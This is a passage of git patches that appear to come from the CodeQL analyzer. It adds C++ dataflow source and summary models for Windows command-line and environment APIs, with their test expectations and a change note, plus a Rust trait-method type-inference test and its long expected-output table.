windows.cpp:6:8:6:25 | [summary] to write: ReturnValue[**] in CommandLineToArgvA | semmle.label | [summary] to write: ReturnValue[**] in CommandLineToArgvA | +| windows.cpp:11:15:11:29 | *call to GetCommandLineA | semmle.label | *call to GetCommandLineA | +| windows.cpp:11:15:11:29 | *call to GetCommandLineA | semmle.label | *call to GetCommandLineA | +| windows.cpp:13:8:13:11 | * ... | semmle.label | * ... | +| windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | semmle.label | **call to CommandLineToArgvA | +| windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | semmle.label | **call to CommandLineToArgvA | +| windows.cpp:16:36:16:38 | *cmd | semmle.label | *cmd | +| windows.cpp:19:8:19:15 | * ... | semmle.label | * ... | +| windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | semmle.label | *call to GetEnvironmentStringsA | +| windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | semmle.label | *call to GetEnvironmentStringsA | +| windows.cpp:25:10:25:13 | * ... | semmle.label | * ... | +| windows.cpp:28:36:28:38 | GetEnvironmentVariableA output argument | semmle.label | GetEnvironmentVariableA output argument | +| windows.cpp:30:10:30:13 | * ... | semmle.label | * ... | subpaths | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | asio_streams.cpp:56:18:56:23 | [summary] to write: ReturnValue in buffer | asio_streams.cpp:100:44:100:62 | call to buffer | | test.cpp:17:24:17:24 | x | test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | test.cpp:17:10:17:22 | call to ymlStepManual | | test.cpp:21:27:21:27 | x | test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | test.cpp:21:10:21:25 | call to ymlStepGenerated | | test.cpp:25:35:25:35 | x | test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | | test.cpp:32:41:32:41 | x | test.cpp:7:47:7:52 | value2 | test.cpp:7:5:7:30 | *ymlStepGenerated_with_body | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | +| windows.cpp:16:36:16:38 | *cmd | windows.cpp:6:8:6:25 | [summary param] *0 in CommandLineToArgvA | windows.cpp:6:8:6:25 | [summary] to write: ReturnValue[**] in CommandLineToArgvA | windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/sources.expected b/cpp/ql/test/library-tests/dataflow/external-models/sources.expected index 3e71025e7ff1..1c21bf851219 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/sources.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/sources.expected @@ -1,2 +1,5 @@ | asio_streams.cpp:87:34:87:44 | read_until output argument | remote | | test.cpp:10:10:10:18 | call to ymlSource | local | +| windows.cpp:11:15:11:29 | *call to GetCommandLineA | local | +| windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | local | +| windows.cpp:28:36:28:38 | GetEnvironmentVariableA output argument | local | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/steps.expected b/cpp/ql/test/library-tests/dataflow/external-models/steps.expected index aab2691cda1e..ccdec4aefcb2 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/steps.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/steps.expected @@ -5,3 +5,4 @@ | test.cpp:28:35:28:35 | 0 | test.cpp:28:11:28:33 | call to ymlStepManual_with_body | | test.cpp:32:38:32:38 | 0 | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | | test.cpp:35:38:35:38 | x | test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | +| windows.cpp:16:36:16:38 | *cmd | windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp b/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp index 33f496be0f01..dfa055fa1e88 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp +++ b/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp @@ -10,22 +10,22 @@ int GetEnvironmentVariableA(const char*, char*, int); void getCommandLine() { char* cmd = GetCommandLineA(); sink(cmd); - sink(*cmd); // $ MISSING: ir + sink(*cmd); // $ ir int argc; char** argv = CommandLineToArgvA(cmd, &argc); sink(argv); sink(argv[1]); - sink(*argv[1]); // $ MISSING: ir + sink(*argv[1]); // $ ir } void getEnvironment() { char* env = GetEnvironmentStringsA(); sink(env); - sink(*env); // $ MISSING: ir + sink(*env); // $ ir char buf[1024]; GetEnvironmentVariableA("FOO", buf, sizeof(buf)); sink(buf); - sink(*buf); // $ MISSING: ir + sink(*buf); // $ ir } From 10f6e1ceb81be20b96d709d0a9d849052d81492b Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Fri, 23 May 2025 16:08:25 +0200 Subject: [PATCH 373/535] C++: Add change note --- cpp/ql/lib/change-notes/2025-05-23-windows-sources.md | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 cpp/ql/lib/change-notes/2025-05-23-windows-sources.md diff --git a/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md b/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md new file mode 100644 index 000000000000..e07dcbe85988 --- /dev/null +++ b/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md @@ -0,0 +1,6 @@ +--- +category: feature +--- +* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources. +* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`. +* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`. From e4d1b01361b3df52d9e096e3ae2de743ca3b67da Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Sat, 24 May 2025 08:56:33 +0200 Subject: [PATCH 374/535] Rust: Add type inference test with function call to trait method --- .../test/library-tests/type-inference/main.rs | 26 + .../type-inference/type-inference.expected | 3039 +++++++++-------- 2 files changed, 1554 insertions(+), 1511 deletions(-) diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index b33010e7b83c..48964f9fb37b 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -90,6 +90,32 @@ mod method_impl { } } +mod trait_impl { + #[derive(Debug)] + struct MyThing { + field: bool, + } + + trait MyTrait { + fn trait_method(self) -> B; + } + + impl MyTrait for MyThing { + // MyThing::trait_method + fn trait_method(self) -> bool { + self.field // $ fieldof=MyThing + } + } + + pub fn f() { + let x = MyThing { field: true }; + let a = x.trait_method(); // $ type=a:bool method=MyThing::trait_method + + let y = MyThing { field: false }; + let b = MyTrait::trait_method(y); // $ type=b:bool MISSING: method=MyThing::trait_method + } +} + mod method_non_parametric_impl { #[derive(Debug)] struct MyThing { diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 4657df91cf39..8c3b8bc7d39f 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -88,1520 +88,1537 @@ inferType | main.rs:88:9:88:14 | x.m1() | | main.rs:67:5:67:21 | Foo | | main.rs:89:9:89:9 | y | | main.rs:67:5:67:21 | Foo | | main.rs:89:9:89:14 | y.m2() | | main.rs:67:5:67:21 | Foo | -| main.rs:106:15:106:18 | SelfParam | | main.rs:94:5:97:5 | MyThing | -| main.rs:106:15:106:18 | SelfParam | A | main.rs:99:5:100:14 | S1 | -| main.rs:106:27:108:9 | { ... } | | main.rs:99:5:100:14 | S1 | -| main.rs:107:13:107:16 | self | | main.rs:94:5:97:5 | MyThing | -| main.rs:107:13:107:16 | self | A | main.rs:99:5:100:14 | S1 | -| main.rs:107:13:107:18 | self.a | | main.rs:99:5:100:14 | S1 | -| main.rs:113:15:113:18 | SelfParam | | main.rs:94:5:97:5 | MyThing | -| main.rs:113:15:113:18 | SelfParam | A | main.rs:101:5:102:14 | S2 | -| main.rs:113:29:115:9 | { ... } | | main.rs:94:5:97:5 | MyThing | -| main.rs:113:29:115:9 | { ... } | A | main.rs:101:5:102:14 | S2 | -| main.rs:114:13:114:30 | Self {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:114:13:114:30 | Self {...} | A | main.rs:101:5:102:14 | S2 | -| main.rs:114:23:114:26 | self | | main.rs:94:5:97:5 | MyThing | -| main.rs:114:23:114:26 | self | A | main.rs:101:5:102:14 | S2 | -| main.rs:114:23:114:28 | self.a | | main.rs:101:5:102:14 | S2 | -| main.rs:119:15:119:18 | SelfParam | | main.rs:94:5:97:5 | MyThing | -| main.rs:119:15:119:18 | SelfParam | A | main.rs:118:10:118:10 | T | -| main.rs:119:26:121:9 | { ... } | | main.rs:118:10:118:10 | T | -| main.rs:120:13:120:16 | self | | main.rs:94:5:97:5 | MyThing | -| main.rs:120:13:120:16 | self | A | main.rs:118:10:118:10 | T | -| main.rs:120:13:120:18 | self.a | | main.rs:118:10:118:10 | T | -| main.rs:125:13:125:13 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:125:13:125:13 | x | A | main.rs:99:5:100:14 | S1 | -| main.rs:125:17:125:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:125:17:125:33 | MyThing {...} | A | main.rs:99:5:100:14 | S1 | -| main.rs:125:30:125:31 | S1 | | main.rs:99:5:100:14 | S1 | -| main.rs:126:13:126:13 | y | | main.rs:94:5:97:5 | MyThing | -| main.rs:126:13:126:13 | y | A | main.rs:101:5:102:14 | S2 | -| main.rs:126:17:126:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:126:17:126:33 | MyThing {...} | A | main.rs:101:5:102:14 | S2 | -| main.rs:126:30:126:31 | S2 | | main.rs:101:5:102:14 | S2 | -| main.rs:129:18:129:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:129:26:129:26 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:129:26:129:26 | x | A | main.rs:99:5:100:14 | S1 | -| main.rs:129:26:129:28 | x.a | | main.rs:99:5:100:14 | S1 | -| main.rs:130:18:130:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:130:26:130:26 | y | | main.rs:94:5:97:5 | MyThing | -| main.rs:130:26:130:26 | y | A | main.rs:101:5:102:14 | S2 | -| main.rs:130:26:130:28 | y.a | | main.rs:101:5:102:14 | S2 | -| main.rs:132:18:132:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:132:26:132:26 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:132:26:132:26 | x | A | main.rs:99:5:100:14 | S1 | -| main.rs:132:26:132:31 | x.m1() | | main.rs:99:5:100:14 | S1 | -| main.rs:133:18:133:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:133:26:133:26 | y | | main.rs:94:5:97:5 | MyThing | -| main.rs:133:26:133:26 | y | A | main.rs:101:5:102:14 | S2 | -| main.rs:133:26:133:31 | y.m1() | | main.rs:94:5:97:5 | MyThing | -| main.rs:133:26:133:31 | y.m1() | A | main.rs:101:5:102:14 | S2 | -| main.rs:133:26:133:33 | ... .a | | main.rs:101:5:102:14 | S2 | -| main.rs:135:13:135:13 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:135:13:135:13 | x | A | main.rs:99:5:100:14 | S1 | -| main.rs:135:17:135:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:135:17:135:33 | MyThing {...} | A | main.rs:99:5:100:14 | S1 | -| main.rs:135:30:135:31 | S1 | | main.rs:99:5:100:14 | S1 | -| main.rs:136:13:136:13 | y | | main.rs:94:5:97:5 | MyThing | -| main.rs:136:13:136:13 | y | A | main.rs:101:5:102:14 | S2 | -| main.rs:136:17:136:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:136:17:136:33 | MyThing {...} | A | main.rs:101:5:102:14 | S2 | -| main.rs:136:30:136:31 | S2 | | main.rs:101:5:102:14 | S2 | -| main.rs:138:18:138:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:138:26:138:26 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:138:26:138:26 | x | A | main.rs:99:5:100:14 | S1 | -| main.rs:138:26:138:31 | x.m2() | | main.rs:99:5:100:14 | S1 | -| main.rs:139:18:139:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:139:26:139:26 | y | | main.rs:94:5:97:5 | MyThing | -| main.rs:139:26:139:26 | y | A | main.rs:101:5:102:14 | S2 | -| main.rs:139:26:139:31 | y.m2() | | main.rs:101:5:102:14 | S2 | -| main.rs:163:15:163:18 | SelfParam | | main.rs:162:5:171:5 | Self [trait MyTrait] | -| main.rs:165:15:165:18 | SelfParam | | main.rs:162:5:171:5 | Self [trait MyTrait] | -| main.rs:168:9:170:9 | { ... } | | main.rs:162:5:171:5 | Self [trait MyTrait] | -| main.rs:169:13:169:16 | self | | main.rs:162:5:171:5 | Self [trait MyTrait] | -| main.rs:175:16:175:19 | SelfParam | | main.rs:173:5:178:5 | Self [trait MyProduct] | -| main.rs:177:16:177:19 | SelfParam | | main.rs:173:5:178:5 | Self [trait MyProduct] | -| main.rs:180:43:180:43 | x | | main.rs:180:26:180:40 | T2 | -| main.rs:180:56:182:5 | { ... } | | main.rs:180:22:180:23 | T1 | -| main.rs:181:9:181:9 | x | | main.rs:180:26:180:40 | T2 | -| main.rs:181:9:181:14 | x.m1() | | main.rs:180:22:180:23 | T1 | -| main.rs:186:15:186:18 | SelfParam | | main.rs:144:5:147:5 | MyThing | -| main.rs:186:15:186:18 | SelfParam | A | main.rs:155:5:156:14 | S1 | -| main.rs:186:27:188:9 | { ... } | | main.rs:155:5:156:14 | S1 | -| main.rs:187:13:187:16 | self | | main.rs:144:5:147:5 | MyThing | -| main.rs:187:13:187:16 | self | A | main.rs:155:5:156:14 | S1 | -| main.rs:187:13:187:18 | self.a | | main.rs:155:5:156:14 | S1 | -| main.rs:193:15:193:18 | SelfParam | | main.rs:144:5:147:5 | MyThing | -| main.rs:193:15:193:18 | SelfParam | A | main.rs:157:5:158:14 | S2 | -| main.rs:193:29:195:9 | { ... } | | main.rs:144:5:147:5 | MyThing | -| main.rs:193:29:195:9 | { ... } | A | main.rs:157:5:158:14 | S2 | -| main.rs:194:13:194:30 | Self {...} | | main.rs:144:5:147:5 | MyThing | -| main.rs:194:13:194:30 | Self {...} | A | main.rs:157:5:158:14 | S2 | -| main.rs:194:23:194:26 | self | | main.rs:144:5:147:5 | MyThing | -| main.rs:194:23:194:26 | self | A | main.rs:157:5:158:14 | S2 | -| main.rs:194:23:194:28 | self.a | | main.rs:157:5:158:14 | S2 | -| main.rs:205:15:205:18 | SelfParam | | main.rs:144:5:147:5 | MyThing | -| main.rs:205:15:205:18 | SelfParam | A | main.rs:159:5:160:14 | S3 | -| main.rs:205:27:207:9 | { ... } | | main.rs:200:10:200:11 | TD | -| main.rs:206:13:206:25 | ...::default(...) | | main.rs:200:10:200:11 | TD | -| main.rs:212:15:212:18 | SelfParam | | main.rs:149:5:153:5 | MyPair | -| main.rs:212:15:212:18 | SelfParam | P1 | main.rs:210:10:210:10 | I | -| main.rs:212:15:212:18 | SelfParam | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:212:26:214:9 | { ... } | | main.rs:210:10:210:10 | I | -| main.rs:213:13:213:16 | self | | main.rs:149:5:153:5 | MyPair | -| main.rs:213:13:213:16 | self | P1 | main.rs:210:10:210:10 | I | -| main.rs:213:13:213:16 | self | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:213:13:213:19 | self.p1 | | main.rs:210:10:210:10 | I | -| main.rs:219:15:219:18 | SelfParam | | main.rs:149:5:153:5 | MyPair | -| main.rs:219:15:219:18 | SelfParam | P1 | main.rs:155:5:156:14 | S1 | -| main.rs:219:15:219:18 | SelfParam | P2 | main.rs:157:5:158:14 | S2 | -| main.rs:219:27:221:9 | { ... } | | main.rs:159:5:160:14 | S3 | -| main.rs:220:13:220:14 | S3 | | main.rs:159:5:160:14 | S3 | -| main.rs:226:15:226:18 | SelfParam | | main.rs:149:5:153:5 | MyPair | -| main.rs:226:15:226:18 | SelfParam | P1 | main.rs:144:5:147:5 | MyThing | -| main.rs:226:15:226:18 | SelfParam | P1.A | main.rs:224:10:224:11 | TT | -| main.rs:226:15:226:18 | SelfParam | P2 | main.rs:159:5:160:14 | S3 | -| main.rs:226:27:229:9 | { ... } | | main.rs:224:10:224:11 | TT | -| main.rs:227:17:227:21 | alpha | | main.rs:144:5:147:5 | MyThing | -| main.rs:227:17:227:21 | alpha | A | main.rs:224:10:224:11 | TT | -| main.rs:227:25:227:28 | self | | main.rs:149:5:153:5 | MyPair | -| main.rs:227:25:227:28 | self | P1 | main.rs:144:5:147:5 | MyThing | -| main.rs:227:25:227:28 | self | P1.A | main.rs:224:10:224:11 | TT | -| main.rs:227:25:227:28 | self | P2 | main.rs:159:5:160:14 | S3 | -| main.rs:227:25:227:31 | self.p1 | | main.rs:144:5:147:5 | MyThing | -| main.rs:227:25:227:31 | self.p1 | A | main.rs:224:10:224:11 | TT | -| main.rs:228:13:228:17 | alpha | | main.rs:144:5:147:5 | MyThing | -| main.rs:228:13:228:17 | alpha | A | main.rs:224:10:224:11 | TT | -| main.rs:228:13:228:19 | alpha.a | | main.rs:224:10:224:11 | TT | -| main.rs:235:16:235:19 | SelfParam | | main.rs:149:5:153:5 | MyPair | -| main.rs:235:16:235:19 | SelfParam | P1 | main.rs:233:10:233:10 | A | -| main.rs:235:16:235:19 | SelfParam | P2 | main.rs:233:10:233:10 | A | -| main.rs:235:27:237:9 | { ... } | | main.rs:233:10:233:10 | A | -| main.rs:236:13:236:16 | self | | main.rs:149:5:153:5 | MyPair | -| main.rs:236:13:236:16 | self | P1 | main.rs:233:10:233:10 | A | -| main.rs:236:13:236:16 | self | P2 | main.rs:233:10:233:10 | A | -| main.rs:236:13:236:19 | self.p1 | | main.rs:233:10:233:10 | A | -| main.rs:240:16:240:19 | SelfParam | | main.rs:149:5:153:5 | MyPair | -| main.rs:240:16:240:19 | SelfParam | P1 | main.rs:233:10:233:10 | A | -| main.rs:240:16:240:19 | SelfParam | P2 | main.rs:233:10:233:10 | A | -| main.rs:240:27:242:9 | { ... } | | main.rs:233:10:233:10 | A | -| main.rs:241:13:241:16 | self | | main.rs:149:5:153:5 | MyPair | -| main.rs:241:13:241:16 | self | P1 | main.rs:233:10:233:10 | A | -| main.rs:241:13:241:16 | self | P2 | main.rs:233:10:233:10 | A | -| main.rs:241:13:241:19 | self.p2 | | main.rs:233:10:233:10 | A | -| main.rs:248:16:248:19 | SelfParam | | main.rs:149:5:153:5 | MyPair | -| main.rs:248:16:248:19 | SelfParam | P1 | main.rs:157:5:158:14 | S2 | -| main.rs:248:16:248:19 | SelfParam | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:248:28:250:9 | { ... } | | main.rs:155:5:156:14 | S1 | -| main.rs:249:13:249:16 | self | | main.rs:149:5:153:5 | MyPair | -| main.rs:249:13:249:16 | self | P1 | main.rs:157:5:158:14 | S2 | -| main.rs:249:13:249:16 | self | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:249:13:249:19 | self.p2 | | main.rs:155:5:156:14 | S1 | -| main.rs:253:16:253:19 | SelfParam | | main.rs:149:5:153:5 | MyPair | -| main.rs:253:16:253:19 | SelfParam | P1 | main.rs:157:5:158:14 | S2 | -| main.rs:253:16:253:19 | SelfParam | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:253:28:255:9 | { ... } | | main.rs:157:5:158:14 | S2 | -| main.rs:254:13:254:16 | self | | main.rs:149:5:153:5 | MyPair | -| main.rs:254:13:254:16 | self | P1 | main.rs:157:5:158:14 | S2 | -| main.rs:254:13:254:16 | self | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:254:13:254:19 | self.p1 | | main.rs:157:5:158:14 | S2 | -| main.rs:258:46:258:46 | p | | main.rs:258:24:258:43 | P | -| main.rs:258:58:260:5 | { ... } | | main.rs:258:16:258:17 | V1 | -| main.rs:259:9:259:9 | p | | main.rs:258:24:258:43 | P | -| main.rs:259:9:259:15 | p.fst() | | main.rs:258:16:258:17 | V1 | -| main.rs:262:46:262:46 | p | | main.rs:262:24:262:43 | P | -| main.rs:262:58:264:5 | { ... } | | main.rs:262:20:262:21 | V2 | -| main.rs:263:9:263:9 | p | | main.rs:262:24:262:43 | P | -| main.rs:263:9:263:15 | p.snd() | | main.rs:262:20:262:21 | V2 | -| main.rs:266:54:266:54 | p | | main.rs:149:5:153:5 | MyPair | -| main.rs:266:54:266:54 | p | P1 | main.rs:266:20:266:21 | V0 | -| main.rs:266:54:266:54 | p | P2 | main.rs:266:32:266:51 | P | -| main.rs:266:78:268:5 | { ... } | | main.rs:266:24:266:25 | V1 | -| main.rs:267:9:267:9 | p | | main.rs:149:5:153:5 | MyPair | -| main.rs:267:9:267:9 | p | P1 | main.rs:266:20:266:21 | V0 | -| main.rs:267:9:267:9 | p | P2 | main.rs:266:32:266:51 | P | -| main.rs:267:9:267:12 | p.p2 | | main.rs:266:32:266:51 | P | -| main.rs:267:9:267:18 | ... .fst() | | main.rs:266:24:266:25 | V1 | -| main.rs:272:23:272:26 | SelfParam | | main.rs:270:5:273:5 | Self [trait ConvertTo] | -| main.rs:277:23:277:26 | SelfParam | | main.rs:275:10:275:23 | T | -| main.rs:277:35:279:9 | { ... } | | main.rs:155:5:156:14 | S1 | -| main.rs:278:13:278:16 | self | | main.rs:275:10:275:23 | T | -| main.rs:278:13:278:21 | self.m1() | | main.rs:155:5:156:14 | S1 | -| main.rs:282:41:282:45 | thing | | main.rs:282:23:282:38 | T | -| main.rs:282:57:284:5 | { ... } | | main.rs:282:19:282:20 | TS | -| main.rs:283:9:283:13 | thing | | main.rs:282:23:282:38 | T | -| main.rs:283:9:283:26 | thing.convert_to() | | main.rs:282:19:282:20 | TS | -| main.rs:286:56:286:60 | thing | | main.rs:286:39:286:53 | TP | -| main.rs:286:73:289:5 | { ... } | | main.rs:155:5:156:14 | S1 | -| main.rs:288:9:288:13 | thing | | main.rs:286:39:286:53 | TP | -| main.rs:288:9:288:26 | thing.convert_to() | | main.rs:155:5:156:14 | S1 | -| main.rs:292:13:292:20 | thing_s1 | | main.rs:144:5:147:5 | MyThing | -| main.rs:292:13:292:20 | thing_s1 | A | main.rs:155:5:156:14 | S1 | -| main.rs:292:24:292:40 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | -| main.rs:292:24:292:40 | MyThing {...} | A | main.rs:155:5:156:14 | S1 | -| main.rs:292:37:292:38 | S1 | | main.rs:155:5:156:14 | S1 | -| main.rs:293:13:293:20 | thing_s2 | | main.rs:144:5:147:5 | MyThing | -| main.rs:293:13:293:20 | thing_s2 | A | main.rs:157:5:158:14 | S2 | -| main.rs:293:24:293:40 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | -| main.rs:293:24:293:40 | MyThing {...} | A | main.rs:157:5:158:14 | S2 | -| main.rs:293:37:293:38 | S2 | | main.rs:157:5:158:14 | S2 | -| main.rs:294:13:294:20 | thing_s3 | | main.rs:144:5:147:5 | MyThing | -| main.rs:294:13:294:20 | thing_s3 | A | main.rs:159:5:160:14 | S3 | -| main.rs:294:24:294:40 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | -| main.rs:294:24:294:40 | MyThing {...} | A | main.rs:159:5:160:14 | S3 | -| main.rs:294:37:294:38 | S3 | | main.rs:159:5:160:14 | S3 | -| main.rs:298:18:298:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:298:26:298:33 | thing_s1 | | main.rs:144:5:147:5 | MyThing | -| main.rs:298:26:298:33 | thing_s1 | A | main.rs:155:5:156:14 | S1 | -| main.rs:298:26:298:38 | thing_s1.m1() | | main.rs:155:5:156:14 | S1 | -| main.rs:299:18:299:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:299:26:299:33 | thing_s2 | | main.rs:144:5:147:5 | MyThing | -| main.rs:299:26:299:33 | thing_s2 | A | main.rs:157:5:158:14 | S2 | -| main.rs:299:26:299:38 | thing_s2.m1() | | main.rs:144:5:147:5 | MyThing | -| main.rs:299:26:299:38 | thing_s2.m1() | A | main.rs:157:5:158:14 | S2 | -| main.rs:299:26:299:40 | ... .a | | main.rs:157:5:158:14 | S2 | -| main.rs:300:13:300:14 | s3 | | main.rs:159:5:160:14 | S3 | -| main.rs:300:22:300:29 | thing_s3 | | main.rs:144:5:147:5 | MyThing | -| main.rs:300:22:300:29 | thing_s3 | A | main.rs:159:5:160:14 | S3 | -| main.rs:300:22:300:34 | thing_s3.m1() | | main.rs:159:5:160:14 | S3 | -| main.rs:301:18:301:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:301:26:301:27 | s3 | | main.rs:159:5:160:14 | S3 | -| main.rs:303:13:303:14 | p1 | | main.rs:149:5:153:5 | MyPair | -| main.rs:303:13:303:14 | p1 | P1 | main.rs:155:5:156:14 | S1 | -| main.rs:303:13:303:14 | p1 | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:303:18:303:42 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | -| main.rs:303:18:303:42 | MyPair {...} | P1 | main.rs:155:5:156:14 | S1 | -| main.rs:303:18:303:42 | MyPair {...} | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:303:31:303:32 | S1 | | main.rs:155:5:156:14 | S1 | -| main.rs:303:39:303:40 | S1 | | main.rs:155:5:156:14 | S1 | -| main.rs:304:18:304:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:304:26:304:27 | p1 | | main.rs:149:5:153:5 | MyPair | -| main.rs:304:26:304:27 | p1 | P1 | main.rs:155:5:156:14 | S1 | -| main.rs:304:26:304:27 | p1 | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:304:26:304:32 | p1.m1() | | main.rs:155:5:156:14 | S1 | -| main.rs:306:13:306:14 | p2 | | main.rs:149:5:153:5 | MyPair | -| main.rs:306:13:306:14 | p2 | P1 | main.rs:155:5:156:14 | S1 | -| main.rs:306:13:306:14 | p2 | P2 | main.rs:157:5:158:14 | S2 | -| main.rs:306:18:306:42 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | -| main.rs:306:18:306:42 | MyPair {...} | P1 | main.rs:155:5:156:14 | S1 | -| main.rs:306:18:306:42 | MyPair {...} | P2 | main.rs:157:5:158:14 | S2 | -| main.rs:306:31:306:32 | S1 | | main.rs:155:5:156:14 | S1 | -| main.rs:306:39:306:40 | S2 | | main.rs:157:5:158:14 | S2 | -| main.rs:307:18:307:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:307:26:307:27 | p2 | | main.rs:149:5:153:5 | MyPair | -| main.rs:307:26:307:27 | p2 | P1 | main.rs:155:5:156:14 | S1 | -| main.rs:307:26:307:27 | p2 | P2 | main.rs:157:5:158:14 | S2 | -| main.rs:307:26:307:32 | p2.m1() | | main.rs:159:5:160:14 | S3 | -| main.rs:309:13:309:14 | p3 | | main.rs:149:5:153:5 | MyPair | -| main.rs:309:13:309:14 | p3 | P1 | main.rs:144:5:147:5 | MyThing | -| main.rs:309:13:309:14 | p3 | P1.A | main.rs:155:5:156:14 | S1 | -| main.rs:309:13:309:14 | p3 | P2 | main.rs:159:5:160:14 | S3 | -| main.rs:309:18:312:9 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | -| main.rs:309:18:312:9 | MyPair {...} | P1 | main.rs:144:5:147:5 | MyThing | -| main.rs:309:18:312:9 | MyPair {...} | P1.A | main.rs:155:5:156:14 | S1 | -| main.rs:309:18:312:9 | MyPair {...} | P2 | main.rs:159:5:160:14 | S3 | -| main.rs:310:17:310:33 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | -| main.rs:310:17:310:33 | MyThing {...} | A | main.rs:155:5:156:14 | S1 | -| main.rs:310:30:310:31 | S1 | | main.rs:155:5:156:14 | S1 | -| main.rs:311:17:311:18 | S3 | | main.rs:159:5:160:14 | S3 | -| main.rs:313:18:313:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:313:26:313:27 | p3 | | main.rs:149:5:153:5 | MyPair | -| main.rs:313:26:313:27 | p3 | P1 | main.rs:144:5:147:5 | MyThing | -| main.rs:313:26:313:27 | p3 | P1.A | main.rs:155:5:156:14 | S1 | -| main.rs:313:26:313:27 | p3 | P2 | main.rs:159:5:160:14 | S3 | -| main.rs:313:26:313:32 | p3.m1() | | main.rs:155:5:156:14 | S1 | -| main.rs:316:13:316:13 | a | | main.rs:149:5:153:5 | MyPair | -| main.rs:316:13:316:13 | a | P1 | main.rs:155:5:156:14 | S1 | -| main.rs:316:13:316:13 | a | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:316:17:316:41 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | -| main.rs:316:17:316:41 | MyPair {...} | P1 | main.rs:155:5:156:14 | S1 | -| main.rs:316:17:316:41 | MyPair {...} | P2 | 